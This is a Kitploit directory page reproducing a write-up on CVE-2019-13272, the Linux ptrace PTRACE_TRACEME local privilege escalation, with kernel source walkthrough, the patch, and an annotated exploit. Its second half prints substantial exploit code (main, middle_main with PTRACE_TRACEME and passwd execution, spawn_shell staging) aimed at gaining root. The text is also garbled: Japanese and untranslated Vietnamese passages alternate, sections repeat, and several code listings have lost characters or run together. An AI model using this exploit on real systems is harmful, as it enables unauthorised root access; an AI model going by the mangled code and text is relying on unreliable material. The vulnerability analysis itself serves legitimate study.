Skip to content
KitploitKITPLOIT
ツールブログ
提出
ツールブログ
提出

ハッキング、侵入テスト、サイバーセキュリティツールをあなたのセキュリティアーセナルに!

Kitploitはハッキング、サイバーセキュリティ、ペネトレーションテストのツールディレクトリです。最新のプロジェクトアップデートを見つけて、脆弱性の発見、システム分析、テストの自動化、セキュリティの強化を行いましょう。

··フィード·お問い合わせ·プライバシー·© 2026 Kitploit

ツールディレクトリ

カテゴリ

すべてのカテゴリを見る
Loading categories
CVE-2019-13272 — CVE-2019-13272(Linuxカーネルのptrace権限昇格の脆弱性)の詳細な分析とエクスプロイト。コードウォークスルーとエクスプロイトシナリオを含みます。 | Kitploit
ツール/GitHubGitHub/datntsec/cve-2019-13272
特権昇格脆弱性分析エクスプロイト学習と教育バイナリエクスプロイト
GitHubdatntsec/cve-2019-13272

CVE-2019-13272

CVE-2019-13272(Linuxカーネルのptrace権限昇格の脆弱性)の詳細な分析とエクスプロイト。コードウォークスルーとエクスプロイトシナリオを含みます。

リポジトリを見る
25年前未レビュー

人気

すべて見る →

コミュニティで最も使われているツールを見つけましょう。

すべてのツールを探索

ツールコレクションを閲覧

すべてのツールを見る →
共有

CVE-2019-13272

PTRACE_TRACEME CVE-2019-13272 ローカル特権昇格の脆弱性分析

PTRACE_TRACEME は、2019年7月にJann Hornによって発見されたLinuxカーネルの特権昇格の脆弱性です。

脆弱性分析:

Ptrace はシステムコールであり、プロセス(tracer)が別のプロセス(tracee)の実行を監視・制御し、そのコアイメージやレジスタを検査・変更する方法を提供します。主にデバッグにおけるブレークポイントの設定やシステムコール呼び出しの追跡に使用されます。``` c 1 396 kernel/ptrace.c <<ptrace_attach>> ptrace_link(task, current); 2 469 kernel/ptrace.c <<ptrace_traceme>> ptrace_link(current, current->real_parent);

root@kitploit:~
トレース関係を確立する方法は2つある:
  - プロセスが `fork` 関数を呼び出し、その子プロセスが `PTRACE_TRACEME`(カーネル内の `ptrace_traceme` 関数に相当)を呼び出してトレースを初期化する。
  - プロセスが `PTRACE_ATTACH` または `PTRACE_SEIZE`(カーネル内の `ptrace_attach` 関数に相当)を呼び出して、別のプロセスをトレースするためのトレーサを初期化する。

どちらの方法を使っても、最終的には `ptrace_link` 関数が呼び出され、トレーサとトレース間のトレース関係が確立される。
- `ptrace_attach` の場合、`ptrace_link` に渡される2つのパラメータは 'task'(トレース)と 'current'(トレーサ)である。
- `ptrace_traceme` の場合、`ptrace_link` に渡される2つのパラメータは 'current'(トレース)と 'current->real_parent'(トレーサ)である。

ここで注意すべき点は、上記の2つの方法で `ptrace_link` 関数を呼び出す際のトレーサとトレースのパラメータが何であるかである。なぜなら、脆弱性は `ptrace_link` 関数に存在するからである。``` c
static void ptrace_link(struct task_struct *child, struct task_struct *new_parent)
{
        rcu_read_lock();
        __ptrace_link(child, new_parent, __task_cred(new_parent));
        rcu_read_unlock();
}

void __ptrace_link(struct task_struct *child, struct task_struct *new_parent,
                   const struct cred *ptracer_cred)
{
        BUG_ON(!list_empty(&child->ptrace_entry));
        list_add(&child->ptrace_entry, &new_parent->ptraced); // 1. thêm chính nó vào hàng đợi 
                                                                 // ptraced của process cha
        child->parent = new_parent; // 2. Lưu địa chỉ của process cha trong con trỏ parent
        child->ptracer_cred = get_cred(ptracer_cred); // 3. Lưu ptracer_cred lại, ta cần tập trung 
                                                          // vào biến này vì lỗi nằm ở đây
}

トレース関係を設定する鍵は、tracee が tracer の cred を記録し、それを tracee の 'ptracer_cred' 変数に保存することです。

'ptracer_cred' の概念は、2016 年のパッチ ptrace: Capture the ptracer's creds not PT_PTRACE_CAP によって導入されました。 'ptracer_cred' を導入した目的は、tracee が exec を実行して setuid executable をロードする際にセキュリティチェックを行うことです。

なぜこの安全性チェックが必要なのでしょうか?

exec ファミリーはプロセスのイメージを更新できます。 setuid bit が設定された実行ファイルの場合、そのファイルが実行されると、プロセスの euid が実行ファイルの所有者の uid に変更されます。 プロセスの権限は exec を呼び出したユーザーの権限よりも高くなり、このような setuid executable を実行すると、権限昇格 (escalation) が発生します。

想像してみてください。exec を実行するプロセス自体が tracee であり、setuid executable を実行して特権を昇格した後、その tracer はいつでも tracee のレジスタやメモリを変更できます。もし tracer が低特権で、高特権の tracee を制御できる場合、tracer は tracee を通じて不正な操作を行う可能性があります。

しかし、カーネルはそのような権限を超えた動作を許可していないようです。そのため、トレース関係を設定する際、tracee は tracer の cred (すなわち ptracer_cred) を保存する必要があります。tracee が exec プロセスを実行する場合、実行されるファイルの setuid ビットが設定されているかどうかをチェックし、設定されていれば 'ptracer_cred' の権限を確認します。権限が満たされない場合、setuid ビットの実行権限 (ファイル所有者の特権) は exec の実行に使用されず、代わりに元のユーザーの権限で実行されます。

このプロセスのコード分析は以下の通りです (この記事のコード分析は v4.19-rc8 に基づいています)。``` python do_execve -> __do_execve_file -> prepare_binprm -> bprm_fill_uid -> security_bprm_set_creds ->cap_bprm_set_creds -> ptracer_capable ->selinux_bprm_set_creds ->(apparmor_bprm_set_creds) ->(smack_bprm_set_creds) ->(tomoyo_bprm_set_creds)

root@kitploit:~
実行権限に関する操作は主に関数 `prepare_binprm`にあります``` c
1567 int prepare_binprm(struct linux_binprm *bprm)
1568 {
1569         int retval;
1570         loff_t pos = 0;
1571 
1572         bprm_fill_uid(bprm); // <-- fill cred của new process (xem hàm bprm_fill_uid bên dưới sẽ rõ hơn)
1573 
1574         /* fill in binprm security blob */
1575         retval = security_bprm_set_creds(bprm); // <-- kiểm tra bảo mật, để xem xét sửa đổi cred của new process     
1576         if (retval)
1577                 return retval;
1578         bprm->called_set_creds = 1;
1579 
1580         memset(bprm->buf, 0, BINPRM_BUF_SIZE);
1581         return kernel_read(bprm->file, bprm->buf, BINPRM_BUF_SIZE, &pos);
1582 }

上記のように、まず bprm_fill_uid を呼び出して新しいプロセスの cred を埋め、次に security_bprm_set_creds を呼び出してセキュリティをチェックし、必要に応じて新しい cred を修正します。``` c 1509 static void bprm_fill_uid(struct linux_binprm *bprm) 1510 { 1511 struct inode inode; 1512 unsigned int mode; 1513 kuid_t uid; 1514 kgid_t gid; 1515 1516 / 1517 * Since this can be called multiple times (via prepare_binprm), 1518 * we must clear any previous work done when setting set[ug]id 1519 * bits from any earlier bprm->file uses (for example when run 1520 * first for a setuid script then again for its interpreter). 1521 / 1522 bprm->cred->euid = current_euid(); // <--- trước tiên sẽ sử dụng euid của process hiện tại 1523 bprm->cred->egid = current_egid(); 1524 1525 if (!mnt_may_suid(bprm->file->f_path.mnt)) 1526 return; 1527 1528 if (task_no_new_privs(current)) 1529 return; 1530 1531 inode = bprm->file->f_path.dentry->d_inode; 1532 mode = READ_ONCE(inode->i_mode); 1533 if (!(mode & (S_ISUID|S_ISGID))) // <---------- nếu bit setuid/setgid của file thực thi không được set 1534 return; // , hàm sẽ return tại đây. 1535 1536 / Be careful if suid/sgid is set / 1537 inode_lock(inode); 1538 1539 / reload atomically mode/uid/gid now that lock held / 1540 mode = inode->i_mode; 1541 uid = inode->i_uid; // <---- nếu S_ISUID được set,sử dụng i_uid của file 1542 gid = inode->i_gid; 1543 inode_unlock(inode); 1544 1545 / We ignore suid/sgid if there are no mappings for them in the ns */ 1546 if (!kuid_has_mapping(bprm->cred->user_ns, uid) || 1547 !kgid_has_mapping(bprm->cred->user_ns, gid)) 1548 return; 1549 1550 if (mode & S_ISUID) { 1551 bprm->per_clear |= PER_CLEAR_ON_SETID; 1552 bprm->cred->euid = uid; // <------ sử dụng uid của file như là euid của new process 1553 } 1554 1555 if ((mode & (S_ISGID | S_IXGRP)) == (S_ISGID | S_IXGRP)) { 1556 bprm->per_clear |= PER_CLEAR_ON_SETID; 1557 bprm->cred->egid = gid; 1558 } 1559 }

root@kitploit:~
Nhìn vào 2 dòng code sau đối với đoạn code ở trên:
- Dòng 1522, gán euid hiện tại của process vào new euid, vì vậy hầu hết các process thực thi đều thực thi dưới quyền ban đầu.
- Dòng 1552, nếu bit suid được set, gán uid của chủ sở hữu file thực thi vào new uid. Có thể hiểu nó giống như việc setuid. New euid trở thành uid của chủ sở hữu file thực thi, nếu chủ sở hữu là một user đặc quyền, leo thang đặc quyền sẽ diễn ra ở đây.

Tuy nhiên, euid ở đây vẫn chưa phải là kết quả cuối cùng, ta cần xem xẻt hàm `security_bprm_set_creds` để biết thêm về việc kiểm tra bảo mật.

Hàm `security_bprm_set_creds` gọi [LSM](https://en.wikipedia.org/wiki/Linux_Security_Modules) framework

Trên phiên bản kernel mà tôi phân tích, có đến 5 điểm hook lsm frameworks thực hiện kiểm tra bảo mật của 'bprm_set_creds'. Các hàm kiểm tra như sau:``` python
cap_bprm_set_creds
selinux_bprm_set_creds
apparmor_bprm_set_creds
smack_bprm_set_creds
tomoyo_bprm_set_creds

ここで実行されるフック関数は、特定のカーネル構成に依存します。理論的には、すべてのLSMフレームワークが有効になっている場合、上記のすべてのフック関数が実装され、'bprm_set_creds' をチェックします。

私の分析環境では、cap_bprm_set_creds と selinux_bprm_set_creds のフック関数のみが実行されました。

このうち、cap_bprm_set_creds 関数は euid を変更する役割を果たします。``` c 815 int cap_bprm_set_creds(struct linux_binprm *bprm) 816 { 817 const struct cred *old = current_cred(); 818 struct cred new = bprm->cred; 819 bool effective = false, has_fcap = false, is_setid; 820 int ret; 821 kuid_t root_uid; ===================== skip ====================== 838 / Don't let someone trace a set[ug]id/setpcap binary with the revised 839 * credentials unless they have the appropriate permit. 840 * 841 * In addition, if NO_NEW_PRIVS, then ensure we get no new privs. 842 / 843 is_setid = __is_setuid(new, old) || __is_setgid(new, old);
844 845 if ((is_setid || __cap_gained(permitted, new, old)) && // <---- kiểm tra setid của chương trình được thực thi 846 ((bprm->unsafe & ~LSM_UNSAFE_PTRACE) || 847 !ptracer_capable(current, new->user_ns))) { // <----- Nếu process thực thi execve được trace, và executed program là setuid, quyền sẽ được xem xét thêm vào 848 /
downgrade; they get no more than they had, and maybe less */ 849 if (!ns_capable(new->user_ns, CAP_SETUID) || 850 (bprm->unsafe & LSM_UNSAFE_NO_NEW_PRIVS)) { 851 new->euid = new->uid; // <----- Nếu không thỏa điều kiện, euid của tiến trình mới sẽ được reset về uid ban đầu 852 new->egid = new->gid; 853 } 854 new->cap_permitted = cap_intersect(new->cap_permitted, 855 old->cap_permitted); 856 } 857 858 new->suid = new->fsuid = new->euid; 859 new->sgid = new->fsgid = new->egid; ===================== skip ====================== }

root@kitploit:~
上記のように、
  - 行845は、euidが元のuidと一致しているかどうかをチェックします(上記の関数`bprm_fill_uid`の解析では、実行されたファイルにsetuidビットが設定されている場合、euidは通常一致しません)==> これは、実行中のプロセスがsetidプログラムであるかどうかを検出することと同等と理解できます。
  - 行847は、プロセスがtraceeであるかどうかをチェックします。
  
上記の2つの条件が満たされた場合、関数`ptracer_capable`を実行して権限を確認する必要があります。チェックが合格しない場合、権限の降格が実行されます。
  - 行851では、'*new->euid*'の値を'*new->uid*'に変更します。これは、関数`bprm_fill_uid`(cred)から取得された権限がここで降格される可能性があることを意味します。``` c
    499 bool ptracer_capable(struct task_struct *tsk, struct user_namespace *ns)
    500 {
    501         int ret = 0;  /* An absent tracer adds no restrictions */
    502         const struct cred *cred;
    503         rcu_read_lock();
    504         cred = rcu_dereference(tsk->ptracer_cred); // <----- lấy ra ptracer_cred được lưu khi ptrace_link
    505         if (cred)
    506                 ret = security_capable_noaudit(cred, ns, CAP_SYS_PTRACE); // <-- đi vào lsm framwork để kiểm tra bảo mật
    507         rcu_read_unlock();
    508         return (ret == 0);
    509 }
    

前述の通り

  • 504行目は 'tsk->ptracer_cred' を取得する。
  • 506行目では、lsmフレームワークに入り 'tsk->ptracer_cred' をチェックする。

変数 'tsk->ptracer_cred' が関連する脆弱性はここにある。先述の通り、この変数はトレース関係が確立された際にトレイシーによって保存されたトレーサーのcredである。

その後、トレイシーがexecveを実行してsuid実行可能プログラムを実行すると、ptracer_capable関数を呼び出し、lsmのセキュリティフレームワークを使用して'ptracer_cred'の権限を決定する。

lsmフレームワーク内の security_capable_noaudit については詳細に分析しないが、簡単に言えば、トレーサー自体がroot権限を持っていればここでのチェックはパスされ、そうでなければエラーが返される。

前述の分析によれば、ptracer_capable関数によるチェックが失敗した場合、'new->euid'の権限は元の権限に引き下げられる。

例: AがBをptraceし、Bがexecve '/usr/bin/passwd' を実行する。上記のコード分析によれば、Aがroot権限を持っている場合、passwdを実行するBのeuidはrootになる。そうでなければ、元の権限が使用される。``` c kernel/ptrace.c <<ptrace_traceme>> ptrace_link(current, current->real_parent);

static void ptrace_link(struct task_struct *child, struct task_struct *new_parent) { rcu_read_lock(); __ptrace_link(child, new_parent, __task_cred(new_parent)); rcu_read_unlock(); }

root@kitploit:~
上記の脆弱性を含むコードに戻ると、tracemeがトレースリンクを設定する際に親のcredを記録するのがなぜ間違っているのか?明らかにこのとき親はtracerである?

Jann Hornの例を使って、なぜtracemeがこの方法でトレースリンクを設定する際にtracerのcredを使用できないのかを説明する。``` py
 - 1,  task A: fork()s a child, task B
 - 2,  task B: fork()s a child, task C
 - 3,  task B: execve(/some/special/suid/binary)
 - 4,  task C: PTRACE_TRACEME (creates privileged ptrace relationship)
 - 5,  task C: execve(/usr/bin/passwd)
 - 6,  task B: drop privileges (setresuid(getuid(), getuid(), getuid()))
 - 7,  task B: become dumpable again (e.g. execve(/some/other/binary))
 - 8,  task A: PTRACE_ATTACH to task B
 - 9,  task A: use ptrace to take control of task B
 - 10, task B: use ptrace to take control of task C

上記のシナリオには、A、B、Cの3つのプロセスがあります。

  • ステップ4で、タスクCが PTRACE_TRACEME を使用してBとのトレースリンクを確立するとき、Bのeuidは現在0(suidバイナリを実行したばかり)であるため、Cによって書き込まれる'ptracer_cred'のeuidも0になります。
  • ステップ5では、タスクCがその後 execve(suid binary) を実行します。上記の分析によれば、Cの'ptracer_cred'が特権を持っているため、ptracer_capable 関数がパスされ、execve 実行後、タスクCのeuidも0に昇格します。この時点でBとCのトレースリンクは依然として有効であることに注意してください。
  • ステップ6では、タスクBが setresuid を実行して権限を落とします。その目的は、タスクAにアタッチするためです。
  • ステップ8では、タスクAが PTRACE_ATTACH を使用してBとのトレースリンクを確立します。AとBはどちらも通常の権限を持ち、その後AはBを制御して任意の操作を実行できます。
  • ステップ10では、タスクBがタスクCを制御して特権昇格アクションを実行します。

最初の9ステップはすべて以前のコード分析に従って設定されています。では、9番目のステップは設定可能でしょうか?

ステップ10を実行するとき、タスクB自体は通常の権限を持ち、タスクCはroot権限を持ち、BとC間のトレースリンクは有効です。この条件下で、Bはptrace要求を送信してCにさまざまな操作(特権昇格を含む)を実行させることができるでしょうか?

これを以下のコードで分析しましょう:``` c 1111 SYSCALL_DEFINE4(ptrace, long, request, long, pid, unsigned long, addr, 1112 unsigned long, data) 1113 { 1114 struct task_struct child; 1115 long ret; 1116 1117 if (request == PTRACE_TRACEME) { 1118 ret = ptrace_traceme(); // <----- đi vào nhánh traceme 1119 if (!ret) 1120 arch_ptrace_attach(current); 1121 goto out; 1122 } 1123 1124 child = find_get_task_by_vpid(pid); 1125 if (!child) { 1126 ret = -ESRCH; 1127 goto out; 1128 } 1129 1130 if (request == PTRACE_ATTACH || request == PTRACE_SEIZE) { 1131 ret = ptrace_attach(child, request, addr, data); // <------ đi vào nhánh attach 1132 / 1133 * Some architectures need to do book-keeping after 1134 * a ptrace attach. 1135 */ 1136 if (!ret) 1137 arch_ptrace_attach(child); 1138 goto out_put_task_struct; 1139 } 1140 1141 ret = ptrace_check_attach(child, request == PTRACE_KILL || 1142 request == PTRACE_INTERRUPT); 1143 if (ret < 0) 1144 goto out_put_task_struct; 1145 1146 ret = arch_ptrace(child, request, addr, data); // <---- các yêu cầu ptrace khác 1147 if (ret || request != PTRACE_DETACH) 1148 ptrace_unfreeze_traced(child); 1149 1150 out_put_task_struct: 1151 put_task_struct(child); 1152 out: 1153 return ret; 1154 }

root@kitploit:~
上記のコードのように、task Bとtask Cにはこの時点ですでにトレースリンクがあるため、ptrace要求をB経由でCに直接送信でき、そこから`arch_ptrace`関数が呼び出されます。``` c
arch/x86/kernel/ptrace.c

arch_ptrace 
    -> ptrace_request 
        -> generic_ptrace_peekdata
           generic_ptrace_pokedata 
            -> ptrace_access_vm 
                -> ptracer_capable 
kernel/ptrace.c
884 int ptrace_request(struct task_struct *child, long request,
885                    unsigned long addr, unsigned long data)
886 {
887         bool seized = child->ptrace & PT_SEIZED;
888         int ret = -EIO;
889         siginfo_t siginfo, *si;
890         void __user *datavp = (void __user *) data;
891         unsigned long __user *datalp = datavp;
892         unsigned long flags;
893 
894         switch (request) {
895         case PTRACE_PEEKTEXT:
896         case PTRACE_PEEKDATA:
897                 return generic_ptrace_peekdata(child, addr, data);
898         case PTRACE_POKETEXT:
899         case PTRACE_POKEDATA:
900                 return generic_ptrace_pokedata(child, addr, data);
901 
=================== skip ================
1105 }



1156 int generic_ptrace_peekdata(struct task_struct *tsk, unsigned long addr,
1157                             unsigned long data)
1158 {
1159         unsigned long tmp;
1160         int copied;
1161 
1162         copied = ptrace_access_vm(tsk, addr, &tmp, sizeof(tmp), FOLL_FORCE); // <--- gọi hàm ptrace_access_vm
1163         if (copied != sizeof(tmp))
1164                 return -EIO;
1165         return put_user(tmp, (unsigned long __user *)data);
1166 }
1167 
1168 int generic_ptrace_pokedata(struct task_struct *tsk, unsigned long addr,
1169                             unsigned long data)
1170 {
1171         int copied;
1172 
1173         copied = ptrace_access_vm(tsk, addr, &data, sizeof(data), // <---- gọi hàm ptrace_access_vm
1174                         FOLL_FORCE | FOLL_WRITE);
1175         return (copied == sizeof(data)) ? 0 : -EIO;
1176 }

tracerがtraceeに新しいコードロジックを実行させる場合、traceeのコード領域とメモリ領域に対して読み取りおよび書き込み要求を送信する必要があります。対応する要求は、PTRACE_PEEKTEXT/PTRACE_PEEKDATA/PTRACE_POKETEXT/PTRACE_POKEDATA 関数です。

これらの読み取りおよび書き込み操作は、最終的に ptrace_access_vm 関数を介して実行されます。``` c kernel/ptrace.c 38 int ptrace_access_vm(struct task_struct *tsk, unsigned long addr, 39 void *buf, int len, unsigned int gup_flags) 40 { 41 struct mm_struct *mm; 42 int ret; 43 44 mm = get_task_mm(tsk); 45 if (!mm) 46 return 0; 47 48 if (!tsk->ptrace || 49 (current != tsk->parent) || 50 ((get_dumpable(mm) != SUID_DUMP_USER) && 51 !ptracer_capable(tsk, mm->user_ns))) { // < ----- gọi hàm ptracer_capable một lần nữa. 52 mmput(mm); 53 return 0; 54 } 55 56 ret = __access_remote_vm(tsk, mm, addr, buf, len, gup_flags); 57 mmput(mm); 58 59 return ret; 60 }

kernel/capability.c 499 bool ptracer_capable(struct task_struct *tsk, struct user_namespace ns) 500 { 501 int ret = 0; / An absent tracer adds no restrictions */ 502 const struct cred *cred; 503 rcu_read_lock(); 504 cred = rcu_dereference(tsk->ptracer_cred); 505 if (cred) 506 ret = security_capable_noaudit(cred, ns, CAP_SYS_PTRACE); 507 rcu_read_unlock(); 508 return (ret == 0); 509 }

root@kitploit:~
Nhìn vào đoạn code trên, ta có thể thấy, hàm `ptrace_access_vm` sẽ gọi hàm `ptracer_capable` mà chúng ta đã phân tích trước đó để xác định xem yêu cầu của nó có thể được thực hiện hay không.

Theo kết quả phân tích trước, '*ptracer_cred*' được lưu trong task C tại thời điểm này là một cred có đặc quyền, vì vậy `ptracer_capable` sẽ pass tại thời điểm này, có nghĩa là câu hỏi ở trên đã được trả lời. Trong trường hợp này, task B với quyền bình thường có thể dùng ptrace để gửi yêu cầu đọc và ghi vào vùng nhớ và vùng code của task C với quyền root.

Lúc này, đặc quyền '*ptracer_cred*' được thực hiện bởi task C trong hai trường hợp:
- Task C thực hiện `execve(suid binary)` để nâng cao quyền
- Task B với quyền thông thường có thể thực thi ptrace để đọc và ghi vào vùng code và vùng nhớ của task C, từ đó điều khiển task C thực hiện các hoạt động tùy ý

Sự kết hợp của 2 vai trò trên có phải là một hoạt động leo thang đặc quyền hoàn toàn hay không?

Trước khi trả lời cho câu hỏi bên trên, ta sẽ xem cách mà lổ hỏng này được khai thác và được vá.

# Sơ lược về bản vá lỗ hổng PTRACE_TRACEME
上のコードを見ると、関数 `ptrace_access_vm` が、先に分析した関数 `ptracer_capable` を呼び出して、要求を実行できるかどうかを判断していることがわかります。

先の分析結果によると、この時点でタスクCに保存されている '*ptracer_cred*' は特権を持つcredであるため、ここで `ptracer_capable` は通過します。つまり、上記の疑問は解決されました。この場合、通常権限のタスクBはptraceを使用して、ルート権限を持つタスクCのメモリ領域やコード領域への読み取り・書き込み要求を送信できます。

この時、'*ptracer_cred*' の特権がタスクCによって行使されるのは、次の2つのケースです。
- タスクCが `execve(suid binary)` を実行して権限を昇格させる
- 通常権限のタスクBがptraceを実行して、タスクCのコード領域やメモリ領域を読み取り・書き込みし、タスクCを制御して任意の操作を行わせる

上記2つの役割の組み合わせは、完全な権限昇格の動作と言えるのでしょうか?

上記の質問に答える前に、この脆弱性がどのように悪用され、どのように修正されたかを見ていきます。

# PTRACE_TRACEME 脆弱性の修正に関する概要``` 
PTRACE_TRACEME records the parent's credentials as if the parent was 
acting as the subject, but that's not the case.  If a malicious
unprivileged child uses PTRACE_TRACEME and the parent is privileged, and
at a later point, the parent process becomes attacker-controlled
(because it drops privileges and calls execve()), the attacker ends up
with control over two processes with a privileged ptrace relationship,
which can be abused to ptrace a suid binary and obtain root privileges.

本質的に、この脆弱性はTOCTOU型の脆弱性にやや似ています。traceme段階で'ptracer_cred'を取得し、次のptrace要求内の後続段階で'ptracer_cred'を使用する際、トレーサーのcredは元のcredではなく、リンク時点のcredである可能性があります(つまり、ptrace_link関数内で再割り当てされます)。``` diff diff --git a/kernel/ptrace.c b/kernel/ptrace.c index 8456b6e..705887f 100644 --- a/kernel/ptrace.c +++ b/kernel/ptrace.c @@ -79,9 +79,7 @@ void __ptrace_link(struct task_struct *child, struct task_struct *new_parent, */ static void ptrace_link(struct task_struct *child, struct task_struct *new_parent) {

  • rcu_read_lock();
  • __ptrace_link(child, new_parent, __task_cred(new_parent));
  • rcu_read_unlock();
  • __ptrace_link(child, new_parent, current_cred()); }
root@kitploit:~
Hãy cùng nhìn lại bản vá: '*\_\_task_cred(new_parent)*' thay bằng '*current_cred()*'

Bản vá chỉ ra rằng khi PTRACE_TRACEME được thực thi, '*ptracer_cred*' không được sử dụng cred của process cha, mà sử dụng cred của chính nó.

# Exploit
Mấu chốt để khai thác lỗ hổng này là tìm một chương trình thực thi phù hợp để bắt đầu task B. Chương trình thực thi này phải đáp ứng các điều kiện sau
- Người dùng bình thường có thể gọi được
- Phải có một giai đoạn leo thang đặc quyền lên root trong quá trình thực thi
- Sau khi có quyền root, phải có thể hạ quyền xuống.

(Mục đích của việc tạm thời leo lên root là để cho phép task C có được ptracer_cred của root và mục đích của việc hạ cấp quyền là để cho phép B được attach bởi một process với các đặc quyền ptrace thông thường ))

Ở đây là 3 mẫu code để khai thác:
- [Exploit by Jann Horn](https://bugs.chromium.org/p/project-zero/issues/attachmentText?aid=401217)
- [Exploit by Bcoles](https://github.com/bcoles/kernel-exploits/blob/master/CVE-2019-13272/poc.c)
- [Exploit by Jiayy](https://github.com/jiayy/android_vuln_poc-exp/tree/master/EXP-CVE-2019-13272)

Trong [exploit của Jann Horn](https://bugs.chromium.org/p/project-zero/issues/attachmentText?aid=401217), chương trình [pkexec](http://manpages.ubuntu.com/manpages/trusty/man1/pkexec.1.html) sẵn có trong máy (đối với bản desktop) được sử dụng để bắt đầu task B

[pkexec](http://manpages.ubuntu.com/manpages/trusty/man1/pkexec.1.html) cho phép người dùng có đặc quyền chạy một chương trình khác với quyền người dùng khác, được sử dụng trong framework xác thực của polkit. Khi sử dụng tham số --user, nó cho phép process nâng cấp quyền lên root và sau đó hạ xuống người dùng được chỉ định, vì vậy nó có thể được sử dụng cho quá trình xây dựng task B, ngoài ra, ta cần tìm thêm các chương trình thực thi được thực thi thông qua khung polkit (Jann Horn sử dụng các helper). Các chương trình này cần phải đáp ứng rằng người dùng bình thường có thể thực thi chúng bằng pkexec mà không cần phải xác thực (nhiều chương trình được thực thi thông qua polkit yêu cầu xác thực thông qua cửa sổ đưuọc bật lên), cách để thực thi như sau:``` sh
/usr/bin/pkexec —user nonrootuser /user/sbin/some-helper-binary

ExploitのBcolesは、Jann Hornのものをベースに、helper binaryをさらに探すコードを追加しています。Jann Hornのhelperはハードコードされたプログラムであるため、多くのLinuxディストリビューションに存在せず、彼のexploitは多くのディストリビューションで使用できません。対照的に、Bcolesのexploitコードはより多くのディストリビューションで正常に実行できます。

研究目的のために、Jiayyのexploitについて説明します。なぜなら、ディストリビューションごとにhelper binaryが異なり、pkexecはデスクトップディストリビューションにしか存在しないためです。実際、この権限昇格の脆弱性はLinuxカーネルの脆弱性です。そのため、Jann Hornのexploitは、手動で作成された2つのプログラムfakepkexecとfakehelperを使用して権限昇格を行うように変更されています(ターゲットシステムから探す代わりに)。読者は、この脆弱性がある任意のLinuxシステム(デスクトップ以外でも)でこのexploitを実行して研究できるようになります。

エクスプロイト分析

以下にエクスプロイトコードを見てみましょう。``` c 167 int main(int argc, char *argv) { 168 if (strcmp(argv[0], "stage2") == 0) 169 return middle_stage2(); 170 if (strcmp(argv[0], "stage3") == 0) 171 return spawn_shell(); 172 173 helper_path = "/tmp/fakehelper"; 174 175 / 176 * set up a pipe such that the next write to it will block: packet mode, 177 * limited to one packet 178 / 179 SAFE(pipe2(block_pipe, O_CLOEXEC|O_DIRECT)); 180 SAFE(fcntl(block_pipe[0], F_SETPIPE_SZ, 0x1000)); 181 char dummy = 0; 182 SAFE(write(block_pipe[1], &dummy, 1)); 183 184 / spawn pkexec in a child, and continue here once our child is in execve() / 185 static char middle_stack[10241024]; 186 pid_t midpid = SAFE(clone(middle_main, middle_stack+sizeof(middle_stack), 187 CLONE_VM|CLONE_VFORK|SIGCHLD, NULL)); 188 if (!middle_success) return 1; 189 ======================= skip ======================= 215 }

root@kitploit:~
まず、186行を見てください。clone関数の呼び出しで子プロセス(タスクB)を作成し、タスクBはmiddle_main関数を実行します。``` c
64 static int middle_main(void *dummy) {
65   prctl(PR_SET_PDEATHSIG, SIGKILL);
66   pid_t middle = getpid();
67 
68   self_fd = SAFE(open("/proc/self/exe", O_RDONLY));
69 
70   pid_t child = SAFE(fork());
71   if (child == 0) {
72     prctl(PR_SET_PDEATHSIG, SIGKILL);
73 
74     SAFE(dup2(self_fd, 42));
75 
76     /* spin until our parent becomes privileged (have to be fast here) */
77     int proc_fd = SAFE(open(tprintf("/proc/%d/status", middle), O_RDONLY));
78     char *needle = tprintf("nUid:t%dt0t", getuid());
79     while (1) {
80       char buf[1000];
81       ssize_t buflen = SAFE(pread(proc_fd, buf, sizeof(buf)-1, 0));
82       buf[buflen] = '';
83       if (strstr(buf, needle)) break;
84     }
85 
86     /*
87      * this is where the bug is triggered.
88      * while our parent is in the middle of pkexec, we force it to become our
89      * tracer, with pkexec's creds as ptracer_cred.
90      */
91     SAFE(ptrace(PTRACE_TRACEME, 0, NULL, NULL));
92 
93     /*
94      * now we execute passwd. because the ptrace relationship is considered to
95      * be privileged, this is a proper suid execution despite the attached
96      * tracer, not a degraded one.
97      * at the end of execve(), this process receives a SIGTRAP from ptrace.
98      */
99     puts("executing passwd");
100     execl("/usr/bin/passwd", "passwd", NULL);
101     err(1, "execl passwd");
102   }
103 
104   SAFE(dup2(self_fd, 0));
105   SAFE(dup2(block_pipe[1], 1));
106 
107   struct passwd *pw = getpwuid(getuid());
108   if (pw == NULL) err(1, "getpwuid");
109 
110   middle_success = 1;
111   execl("/tmp/fakepkexec", "fakepkexec", "--user", pw->pw_name, NULL);
112   middle_success = 0;
113   err(1, "execl pkexec");
114 }

Dòng 70, gọi hàm fork để tạo một grandchild process (task C).

Sau đó, tại dòng 111, task B chạy fakepkexec để nâng quyền và sau đó hạ quyền.

Tiếp theo, nhìn vào dòng 76 đến 84, sau khi task C phát hiện ra rằng euid của task B trở thành 0, nó sẽ thực thi dòng 91 để thực hiện thao tác PTRACE_TRACEME để lấy ptracer_cred của root, và sau đó ngay lập tức chạy executel để thực thi suid binary để làm cho euid của nó trở thành 0

70行目で、fork関数を呼び出してgrandchildプロセス(タスクC)を作成します。

その後、111行目で、タスクBはfakepkexecを実行して権限を昇格させ、その後権限を低下させます。

次に、76行目から84行目を見てください。タスクCがタスクBのeuidが0になったことを検出すると、91行目を実行してPTRACE_TRACEME操作を実行し、rootのptracer_credを取得し、その後すぐにexecutelを実行してsuidバイナリを実行し、自身のeuidを0にします。``` c 190 /* 191 * wait for our child to go through both execve() calls (first pkexec, then 192 * the executable permitted by polkit policy). 193 */ 194 while (1) { 195 int fd = open(tprintf("/proc/%d/comm", midpid), O_RDONLY); 196 char buf[16]; 197 int buflen = SAFE(read(fd, buf, sizeof(buf)-1)); 198 buf[buflen] = ''; 199 strchrnul(buf, 'n') = ''; 200 if (strncmp(buf, basename(helper_path), 15) == 0) 201 break; 202 usleep(100000); 203 } 204 205 / 206 * our child should have gone through both the privileged execve() and the 207 * following execve() here 208 */ 209 SAFE(ptrace(PTRACE_ATTACH, midpid, 0, NULL)); 210 SAFE(waitpid(midpid, &dummy_status, 0)); 211 fputs("attached to midpidn", stderr); 212 213 force_exec_and_wait(midpid, 0, "stage2"); 214 return 0;

root@kitploit:~
次に、タスクAのmain関数に戻り、194行目から202行目で、タスクAはタスクBのcommファイルがhelperになったかどうかを確認します。もしなっていれば、213行目を実行してforce_exec_and_wait関数を実行します。``` c
116 static void force_exec_and_wait(pid_t pid, int exec_fd, char *arg0) {
117   struct user_regs_struct regs;
118   struct iovec iov = { .iov_base = &regs, .iov_len = sizeof(regs) };
119   SAFE(ptrace(PTRACE_SYSCALL, pid, 0, NULL));
